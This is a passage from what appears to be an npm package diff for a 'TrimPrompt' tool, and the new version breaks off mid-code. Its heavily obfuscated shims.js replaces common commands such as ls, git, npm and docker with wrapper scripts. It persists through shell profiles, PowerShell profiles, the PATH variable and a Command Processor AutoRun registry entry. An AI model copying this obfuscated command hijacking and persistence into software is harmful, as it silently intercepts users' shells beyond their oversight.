_0x35c799=['[INFO]\x20Building\x20modules...\x0a','log','test_db.py\x20PASS\x0a','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','repeat','Optimizing\x20assets...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','117qGmFGh','docker\x20build\x20.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7KNJWAq','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','6795612sBdsfl','3089020gXaSeb','2870395GHZSlO','1613552UjYZrZ','932424dAaGfB','91854bWgZjK','tracker','gemini-1-5-pro','Successfully\x20built\x20image.','26457669JEMzNq','npm\x20run\x20build'];a0_0xd6a5=function(){return _0x35c799;};return a0_0xd6a5();}const tracker_1=require(a0_0x3eecdb(0xa3));console[a0_0x3eecdb(0x91)](a0_0x3eecdb(0x9d)),process.env.TRIMPROMPT_MODEL='claude-3-opus',tracker_1[a0_0x3eecdb(0xab)][a0_0x3eecdb(0x9c)](a0_0x3eecdb(0x8f),'Compilation\x20Output:\x0a'+a0_0x3eecdb(0x90)+a0_0x3eecdb(0x99)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3eecdb(0x98)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x3eecdb(0x9c)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+a0_0x3eecdb(0x96)+a0_0x3eecdb(0x92)+a0_0x3eecdb(0x95)['repeat'](0x12c)+a0_0x3eecdb(0x9b),a0_0x3eecdb(0xa4),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3eecdb(0x8c),tracker_1[a0_0x3eecdb(0xab)]['logExecution'](a0_0x3eecdb(0xa0),a0_0x3eecdb(0x9a)+a0_0x3eecdb(0x94)+a0_0x3eecdb(0x97)+a0_0x3eecdb(0x93)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3eecdb(0x98)](0x3)+a0_0x3eecdb(0x8d),a0_0x3eecdb(0xa1),0x0),console[a0_0x3eecdb(0x91)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5f12c6=a0_0x2009;(function(_0x25410f,_0x721d81){const _0x1ebea3=a0_0x2009,_0x131175=_0x25410f();while(!![]){try{const _0xebe3c4=parseInt(_0x1ebea3(0x1b3))/0x1+-parseInt(_0x1ebea3(0x1c6))/0x2+parseInt(_0x1ebea3(0x19d))/0x3*(parseInt(_0x1ebea3(0x198))/0x4)+-parseInt(_0x1ebea3(0x1b8))/0x5+parseInt(_0x1ebea3(0x196))/0x6+parseInt(_0x1ebea3(0x190))/0x7+parseInt(_0x1ebea3(0x18b))/0x8;if(_0xebe3c4===_0x721d81)break;else _0x131175['push'](_0x131175['shift']());}catch(_0x5aa6f5){_0x131175['push'](_0x131175['shift']());}}}(a0_0x45ea,0xde958));function a0_0x45ea(){const _0x4a945f=['execSync','Failed\x20to\x20install\x20shims:\x20','TrimPrompt\x20Shims\x20PATH','.ps1','push','read','writeFileSync','hasOwnProperty','\x22\x20set\x20\x22PATH=','__esModule','pwsh','-NoProfile','powershell\x20-NoProfile\x20-Command\x20\x22','\x20%*\x0a',';\x22\x20+\x20$env:PATH\x0a','.zshrc','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','.bash_profile','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','export\x20PATH=\x22','__importStar','dirname','existsSync','map','\x0a#\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','replace','npm','&\x20trim\x20','pytest','-Command','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','default','1211144hjUucP','grep','\x20@args\x0a','tree','call','4260172BsCXvX','pnpm','getOwnPropertyDescriptor','.bashrc','chmodSync','\x0aexport\x20PATH=\x22','966702jIZeQy','child_process','756COUHjk','utf8','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20&\x20','New-Item\x20-Path\x20\x27','345awOcWV','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','.profile','execFileSync','\x0a$env:PATH\x20=\x20\x22','npx','win32','length','includes','prototype','755','Remove-ItemProperty\x20-Path\x20\x27','join','__setModuleDefault','\x27,\x20\x27User\x27)','filter','git','pip','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','uninstallShims','#!/bin/sh\x0aexec\x20trim\x20','@echo\x20off\x0atrim\x20','1804865EdkdSp','ignore','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','create','.trimprompt','3300285CuBPAk','if\x20exist\x20\x22','mkdirSync','kubectl','homedir','shims','message','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','defineProperty','ruff','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','cargo','trim','2351890UKWXLC','cat','split','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__createBinding','writable',':$PATH\x22\x0a','Failed\x20to\x20uninstall\x20shims:\x20','toLowerCase','\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell.exe','docker','\x20commands.\x0a\x0a','glab','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','.cmd','readFileSync','unlinkSync','get'];a0_0x45ea=function(){return _0x4a945f;};return a0_0x45ea();}var __createBinding=this&&this[a0_0x5f12c6(0x1ca)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x3479a5,_0x161932,_0x58770a,_0x16c107){const _0x395c71=a0_0x5f12c6;if(_0x16c107===undefined)_0x16c107=_0x58770a;var _0x1f8f2b=Object[_0x395c71(0x192)](_0x161932,_0x58770a);(!_0x1f8f2b||(_0x395c71(0x168)in _0x1f8f2b?!_0x161932['__esModule']:_0x1f8f2b[_0x395c71(0x1cb)]||_0x1f8f2b['configurable']))&&(_0x1f8f2b={'enumerable':!![],'get':function(){return _0x161932[_0x58770a];}}),Object[_0x395c71(0x1c1)](_0x3479a5,_0x16c107,_0x1f8f2b);}:function(_0x13cb5d,_0x163db7,_0x1a9b9e,_0x5487cf){if(_0x5487cf===undefined)_0x5487cf=_0x1a9b9e;_0x13cb5d[_0x5487cf]=_0x163db7[_0x1a9b9e];}),__setModuleDefault=this&&this[a0_0x5f12c6(0x1aa)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x1a8ddb,_0x2b9d80){const _0x57ec0a=a0_0x5f12c6;Object[_0x57ec0a(0x1c1)](_0x1a8ddb,_0x57ec0a(0x18a),{'enumerable':!![],'value':_0x2b9d80});}:function(_0x9d3799,_0x462946){const _0x22f39f=a0_0x5f12c6;_0x9d3799[_0x22f39f(0x18a)]=_0x462946;}),__importStar=this&&this[a0_0x5f12c6(0x17d)]||(function(){var _0x173837=function(_0x38e665){return _0x173837=Object['getOwnPropertyNames']||function(_0x152943){const _0x34b271=a0_0x2009;var _0x1b78b1=[];for(var _0x305706 in _0x152943)if(Object[_0x34b271(0x1a6)][_0x34b271(0x170)][_0x34b271(0x18f)](_0x152943,_0x305706))_0x1b78b1[_0x1b78b1[_0x34b271(0x1a4)]]=_0x305706;return _0x1b78b1;},_0x173837(_0x38e665);};return function(_0x279856){const _0x500dd5=a0_0x2009;if(_0x279856&&_0x279856[_0x500dd5(0x172)])return _0x279856;var _0x2dc27b={};if(_0x279856!=null){for(var _0x3eadf7=_0x173837(_0x279856),_0x4a1307=0x0;_0x4a1307<_0x3eadf7[_0x500dd5(0x1a4)];_0x4a1307++)if(_0x3eadf7[_0x4a1307]!==_0x500dd5(0x18a))__createBinding(_0x2dc27b,_0x279856,_0x3eadf7[_0x4a1307]);}return __setModuleDefault(_0x2dc27b,_0x279856),_0x2dc27b;};}());Object[a0_0x5f12c6(0x1c1)](exports,a0_0x5f12c6(0x172),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x5f12c6(0x1b0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x5f12c6(0x18e),a0_0x5f12c6(0x1c7),a0_0x5f12c6(0x16e),a0_0x5f12c6(0x18c),'rg',a0_0x5f12c6(0x1c2),a0_0x5f12c6(0x1ad),'gh',a0_0x5f12c6(0x161),a0_0x5f12c6(0x1c4),a0_0x5f12c6(0x184),a0_0x5f12c6(0x191),a0_0x5f12c6(0x1a2),'yarn',a0_0x5f12c6(0x1bb),a0_0x5f12c6(0x15f),a0_0x5f12c6(0x186),a0_0x5f12c6(0x1ae),'pip3','go'],PROFILE_MARKER=a0_0x5f12c6(0x16b);function getExecSync(){const _0x405775=a0_0x5f12c6;return require(_0x405775(0x197))[_0x405775(0x169)];}function getExecFileSync(){const _0x28a8a6=a0_0x5f12c6;return require(_0x28a8a6(0x197))[_0x28a8a6(0x1a0)];}function ensureProfileContains(_0x2ff7ea,_0x33c1e6,_0x127ef6){const _0x43522b=a0_0x5f12c6;try{const _0x1b5ea5=path[_0x43522b(0x17e)](_0x2ff7ea);!fs[_0x43522b(0x17f)](_0x1b5ea5)&&fs[_0x43522b(0x1ba)](_0x1b5ea5,{'recursive':!![]});if(fs[_0x43522b(0x17f)](_0x2ff7ea)){const _0x2450f9=fs[_0x43522b(0x166)](_0x2ff7ea,_0x43522b(0x199));if(_0x2450f9[_0x43522b(0x1a5)](_0x33c1e6))return;fs['appendFileSync'](_0x2ff7ea,_0x127ef6,_0x43522b(0x199));}else fs[_0x43522b(0x16f)](_0x2ff7ea,_0x127ef6,'utf8');}catch{}}function removeProfileBlock(_0x4ce0d4,_0xcb5b23){const _0x543ca9=a0_0x5f12c6;try{if(!fs[_0x543ca9(0x17f)](_0x4ce0d4))return;const _0x2444b=fs[_0x543ca9(0x166)](_0x4ce0d4,'utf8');if(!_0x2444b[_0x543ca9(0x1a5)](_0xcb5b23))return;const _0xa7e710=_0x2444b[_0x543ca9(0x1c8)]('\x0a'),_0x1460d4=[];let _0x7a2116=![];for(let _0x56a17a=0x0;_0x56a17a<_0xa7e710[_0x543ca9(0x1a4)];_0x56a17a++){if(_0xa7e710[_0x56a17a][_0x543ca9(0x1a5)](_0xcb5b23)){_0x7a2116=!![];continue;}if(_0x7a2116){_0x7a2116=![];continue;}_0x1460d4[_0x543ca9(0x16d)](_0xa7e710[_0x56a17a]);}const _0x24b164=_0x1460d4[_0x543ca9(0x1a9)]('\x0a')[_0x543ca9(0x183)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x4ce0d4,_0x24b164,_0x543ca9(0x199));}catch{}}function collectPowerShellProfiles(){const _0x1e46c9=a0_0x5f12c6,_0x2a1a75=getExecSync(),_0x3101bf=[],_0x55fca6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x2a1a75('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1e46c9(0x1b4)}),_0x55fca6['push']([_0x1e46c9(0x173),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x335fc6,_0x24b3b3]of _0x55fca6){try{const _0x48e063=_0x2a1a75(_0x335fc6+_0x1e46c9(0x15b)+_0x24b3b3+'\x22',{'encoding':_0x1e46c9(0x199)})[_0x1e46c9(0x1c5)]();_0x48e063&&!_0x3101bf['some'](_0xa43036=>_0xa43036['toLowerCase']()===_0x48e063['toLowerCase']())&&_0x3101bf['push'](_0x48e063);}catch{}}return _0x3101bf;}function a0_0x2009(_0x13f305,_0x34b8e4){_0x13f305=_0x13f305-0x159;const _0x45ea0e=a0_0x45ea();let _0x200929=_0x45ea0e[_0x13f305];return _0x200929;}function getBashProfilesWindows(){const _0x356bc2=a0_0x5f12c6,_0x297588=os['homedir']();return[_0x356bc2(0x193),'.bash_profile'][_0x356bc2(0x180)](_0x3affa6=>path[_0x356bc2(0x1a9)](_0x297588,_0x3affa6));}function getBroadcastCommand(){const _0x13f09e=a0_0x5f12c6;return _0x13f09e(0x182);}function installShims(){const _0x1d6695=a0_0x5f12c6,_0xd76142=path[_0x1d6695(0x1a9)](os['homedir'](),_0x1d6695(0x1b7),_0x1d6695(0x1bd));try{!fs[_0x1d6695(0x17f)](_0xd76142)&&fs[_0x1d6695(0x1ba)](_0xd76142,{'recursive':!![]});const _0x28df8c=os[_0x1d6695(0x162)]()===_0x1d6695(0x1a3);for(const _0x310d21 of SHIMMED_COMMANDS){if(_0x28df8c){const _0x2bcefb=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21+_0x1d6695(0x165));fs['writeFileSync'](_0x2bcefb,_0x1d6695(0x1b2)+_0x310d21+_0x1d6695(0x176),_0x1d6695(0x199));const _0x10d42a=path['join'](_0xd76142,_0x310d21+_0x1d6695(0x16c));fs[_0x1d6695(0x16f)](_0x10d42a,_0x1d6695(0x185)+_0x310d21+_0x1d6695(0x18d),_0x1d6695(0x199));const _0x3d0a27=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x3d0a27,'#!/bin/sh\x0aexec\x20trim\x20'+_0x310d21+_0x1d6695(0x1c0),'utf8');}else{const _0x32a1ea=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x32a1ea,_0x1d6695(0x1b1)+_0x310d21+_0x1d6695(0x1c0),_0x1d6695(0x199)),fs[_0x1d6695(0x194)](_0x32a1ea,_0x1d6695(0x1a7));}}let _0x153b4b=![],_0x57640f='';if(_0x28df8c)try{const _0x42348f=getExecSync(),_0xcb9994='\x0a#\x20'+PROFILE_MARKER+_0x1d6695(0x1a1)+_0xd76142+_0x1d6695(0x177),_0xb8ab93=collectPowerShellProfiles();for(const _0x14f78d of _0xb8ab93){ensureProfileContains(_0x14f78d,_0xd76142,_0xcb9994);}try{const _0x304307=getExecFileSync(),_0xe04389=_0x1d6695(0x1b9)+_0xd76142+_0x1d6695(0x171)+_0xd76142+';%PATH%\x22',_0x151be7='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x2e32b4='';try{const _0x36b4e3=_0x1d6695(0x1af)+_0x151be7+_0x1d6695(0x189);_0x2e32b4=_0x304307(_0x1d6695(0x15e),[_0x1d6695(0x174),_0x1d6695(0x187),_0x36b4e3],{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();}catch{}if(!_0x2e32b4[_0x1d6695(0x1a5)](_0xd76142)){const _0x161660=_0x2e32b4?_0x2e32b4+_0x1d6695(0x19b)+_0xe04389:_0xe04389,_0x5b983e=_0x1d6695(0x19c)+_0x151be7+_0x1d6695(0x179)+_0x151be7+_0x1d6695(0x15c)+_0x161660+'\x27';_0x304307(_0x1d6695(0x15e),['-NoProfile',_0x1d6695(0x187),_0x5b983e],{'stdio':'ignore'});}}catch{}try{const _0x1d4835=_0xd76142[_0x1d6695(0x183)](/\\/g,'/')[_0x1d6695(0x183)](/^([A-Za-z]):/,(_0x574334,_0xa00f5e)=>'/'+_0xa00f5e[_0x1d6695(0x15a)]()),_0x25ed22=_0x1d6695(0x181)+PROFILE_MARKER+_0x1d6695(0x195)+_0x1d4835+_0x1d6695(0x1cc),_0xde6f06=getBashProfilesWindows();let _0x9446e9=![];for(const _0x192be3 of _0xde6f06){fs[_0x1d6695(0x17f)](_0x192be3)&&(ensureProfileContains(_0x192be3,_0x1d4835,_0x25ed22),_0x9446e9=!![]);}!_0x9446e9&&ensureProfileContains(_0xde6f06[0x0],_0x1d4835,_0x25ed22);}catch{}const _0x156e31='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x42ce26=_0x42348f(_0x1d6695(0x175)+_0x156e31+'\x22',{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();if(!_0x42ce26[_0x1d6695(0x1a5)](_0xd76142)){const _0x347485=_0xd76142+';'+_0x42ce26,_0x1ec544=_0x347485['replace'](/'/g,'\x27\x27'),_0x3dedf6='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1ec544+_0x1d6695(0x1ab);_0x42348f(_0x1d6695(0x175)+_0x3dedf6+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1d6695(0x1b4)});}const _0x190a0c=path[_0x1d6695(0x1a9)](process.env.APPDATA||'','npm','trim.ps1');if(fs['existsSync'](_0x190a0c))try{fs[_0x1d6695(0x167)](_0x190a0c);}catch{}_0x153b4b=!![];}catch(_0x3784bf){_0x57640f='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xd76142;}else try{const _0x44a014=_0x1d6695(0x17c)+_0xd76142+_0x1d6695(0x1cc),_0x346325=os[_0x1d6695(0x1bc)](),_0x456765=[_0x1d6695(0x193),'.zshrc',_0x1d6695(0x17a),_0x1d6695(0x19f)];let _0x5111cf=![];for(const _0x3706ac of _0x456765){const _0x3f7697=path['join'](_0x346325,_0x3706ac);fs[_0x1d6695(0x17f)](_0x3f7697)&&(ensureProfileContains(_0x3f7697,_0xd76142,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x44a014),_0x5111cf=!![]);}if(!_0x5111cf){const _0x50c779=path[_0x1d6695(0x1a9)](_0x346325,'.bashrc');ensureProfileContains(_0x50c779,_0xd76142,_0x1d6695(0x181)+PROFILE_MARKER+'\x0a'+_0x44a014);}_0x153b4b=!![];}catch(_0xc7555d){_0x57640f='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0xd76142+_0x1d6695(0x163);}const _0x5c0d2b=_0x1d6695(0x1c9)+SHIMMED_COMMANDS[_0x1d6695(0x1a4)]+_0x1d6695(0x160),_0x3f4740=_0x153b4b?_0x5c0d2b+_0x1d6695(0x19e):_0x5c0d2b+_0x1d6695(0x1b5)+_0x57640f;return{'success':!![],'pathDir':_0xd76142,'message':_0x3f4740};}catch(_0x385d28){return{'success':![],'pathDir':_0xd76142,'message':_0x1d6695(0x16a)+_0x385d28[_0x1d6695(0x1be)]};}}function uninstallShims(){const _0x2d30a2=a0_0x5f12c6,_0x5edb48=path[_0x2d30a2(0x1a9)](os[_0x2d30a2(0x1bc)](),_0x2d30a2(0x1b7),_0x2d30a2(0x1bd)),_0x375a76=os[_0x2d30a2(0x162)]()==='win32';try{if(_0x375a76){const _0x425fd9=getExecSync();try{const _0x1e92c1=getExecFileSync(),_0x1115b2=_0x2d30a2(0x19a),_0x5acf08='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1115b2+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x5e6737=_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),'-Command',_0x5acf08],{'encoding':_0x2d30a2(0x199),'stdio':[_0x2d30a2(0x188),'pipe',_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0x5e6737[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x17a156=_0x5e6737['split'](_0x2d30a2(0x19b))['filter'](_0x13c23a=>!_0x13c23a[_0x2d30a2(0x1a5)](_0x5edb48));if(_0x17a156['length']===0x0){const _0x390081=_0x2d30a2(0x1a8)+_0x1115b2+_0x2d30a2(0x15d);_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x390081],{'stdio':_0x2d30a2(0x1b4)});}else{const _0x11cca7=_0x17a156['join'](_0x2d30a2(0x19b)),_0x371f3b=_0x2d30a2(0x164)+_0x1115b2+_0x2d30a2(0x15c)+_0x11cca7+'\x27';_0x1e92c1(_0x2d30a2(0x15e),[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x371f3b],{'stdio':_0x2d30a2(0x1b4)});}}}catch{}try{const _0x276e92=collectPowerShellProfiles();for(const _0xcd08c of _0x276e92){removeProfileBlock(_0xcd08c,PROFILE_MARKER);}}catch{}try{for(const _0x27ed8c of getBashProfilesWindows()){removeProfileBlock(_0x27ed8c,PROFILE_MARKER);}}catch{}try{const _0x1cd97b=_0x2d30a2(0x1c3),_0xd71375=_0x425fd9('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1cd97b+'\x22',{'encoding':'utf8','stdio':[_0x2d30a2(0x188),_0x2d30a2(0x188),_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0xd71375[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x230f13=_0xd71375[_0x2d30a2(0x1c8)](';')[_0x2d30a2(0x1ac)](_0x441925=>_0x441925['trim']()[_0x2d30a2(0x15a)]()!==_0x5edb48['toLowerCase']())[_0x2d30a2(0x1a9)](';'),_0x3bc643=_0x230f13['replace'](/'/g,'\x27\x27'),_0x2494e7=_0x2d30a2(0x1bf)+_0x3bc643+_0x2d30a2(0x1ab);_0x425fd9(_0x2d30a2(0x175)+_0x2494e7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x2d30a2(0x1b4)});}}catch{}}else{const _0x6cb10c=os[_0x2d30a2(0x1bc)](),_0x4bad9e=[_0x2d30a2(0x193),_0x2d30a2(0x178),_0x2d30a2(0x17a),_0x2d30a2(0x19f)];for(const _0x5d98c3 of _0x4bad9e){removeProfileBlock(path[_0x2d30a2(0x1a9)](_0x6cb10c,_0x5d98c3),PROFILE_MARKER);}}if(fs[_0x2d30a2(0x17f)](_0x5edb48)){const _0x417009=fs['readdirSync'](_0x5edb48);for(const _0x348e5b of _0x417009){fs[_0x2d30a2(0x167)](path[_0x2d30a2(0x1a9)](_0x5edb48,_0x348e5b));}fs['rmdirSync'](_0x5edb48);}return{'success':!![],'message':_0x2d30a2(0x17b)};}catch(_0x218265){return{'success':![],'message':_0x2d30a2(0x159)+_0x218265[_0x2d30a2(0x1be)]};}}
1
+ 'use strict';const a0_0x93d41c=a0_0xfa8d;(function(_0x3b0244,_0x98831d){const _0x44aac3=a0_0xfa8d,_0x3e0c47=_0x3b0244();while(!![]){try{const _0x14b9df=-parseInt(_0x44aac3(0xab))/0x1*(parseInt(_0x44aac3(0xa1))/0x2)+-parseInt(_0x44aac3(0xd6))/0x3*(-parseInt(_0x44aac3(0x9a))/0x4)+-parseInt(_0x44aac3(0x98))/0x5*(parseInt(_0x44aac3(0x10c))/0x6)+-parseInt(_0x44aac3(0xb3))/0x7+-parseInt(_0x44aac3(0x106))/0x8+-parseInt(_0x44aac3(0xc2))/0x9*(-parseInt(_0x44aac3(0xc9))/0xa)+-parseInt(_0x44aac3(0x108))/0xb*(-parseInt(_0x44aac3(0x105))/0xc);if(_0x14b9df===_0x98831d)break;else _0x3e0c47['push'](_0x3e0c47['shift']());}catch(_0x2b02b7){_0x3e0c47['push'](_0x3e0c47['shift']());}}}(a0_0x3ef0,0x5af59));function a0_0x3ef0(){const _0x428c81=['pip','5MHciCi','.bashrc','848176hIUYXk','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','@echo\x20off','.bash_profile','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','308410ATKCiC','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','Remove-ItemProperty\x20-Path\x20\x27','.zshrc','.cmd','getOwnPropertyDescriptor','ignore','\x20@args\x20}\x20else\x20{\x20&\x20','ruff','1hfWfzG','\x22\x20set\x20\x22PATH=','\x20\x20trim\x20','platform','defineProperty','join','read','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','3129322fIMsCZ','tree','__setModuleDefault','npx','-NoProfile','existsSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','message','cargo','\x20-NoProfile\x20-Command\x20\x22','trim.cmd','glab','\x0a#\x20','push','create','36DZMiSp','grep','get','TrimPrompt\x20Shims\x20PATH','readdirSync','installShims','.trimprompt','1149660plrBAB','__createBinding','split','pip3','\x20\x20set\x20\x22PATH=%PATH:','filter','configurable','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','dirname','6sGqzJf','map','.profile','\x27,\x20\x27User\x27)','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','npm','trim','some','utf8',';=%\x22','powershell\x20-NoProfile\x20-Command\x20\x22','readFileSync','execFileSync',';\x22\x20+\x20$env:PATH\x0a','.ps1',')\x20else\x20(','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','getOwnPropertyNames','shims','__esModule','child_process','\x20%*','docker','chmodSync','\x20\x22$@\x22;\x20fi\x0a','path','\x20commands.\x0a\x0a','includes','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','kubectl','hasOwnProperty','win32','rmdirSync',':$PATH\x22','replace','export\x20PATH=\x22','__importStar','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','New-Item\x20-Path\x20\x27',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','length',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','-Command','toLowerCase','appendFileSync','12chFGZG','4963056lCxoeE','default','10466159yzUepm','if\x20exist\x20\x22','uninstallShims','yarn','1447314CPopQA','mkdirSync','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','unlinkSync','cat','call','powershell.exe','pipe','writable','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','execSync','prototype','homedir','Failed\x20to\x20uninstall\x20shims:\x20','pwsh'];a0_0x3ef0=function(){return _0x428c81;};return a0_0x3ef0();}function a0_0xfa8d(_0x511354,_0x525d5e){_0x511354=_0x511354-0x8f;const _0x3ef0b1=a0_0x3ef0();let _0xfa8d38=_0x3ef0b1[_0x511354];return _0xfa8d38;}var __createBinding=this&&this[a0_0x93d41c(0xca)]||(Object[a0_0x93d41c(0xc1)]?function(_0x5de57e,_0x50fdbd,_0x55f01c,_0x37dc7f){const _0x4dc0e5=a0_0x93d41c;if(_0x37dc7f===undefined)_0x37dc7f=_0x55f01c;var 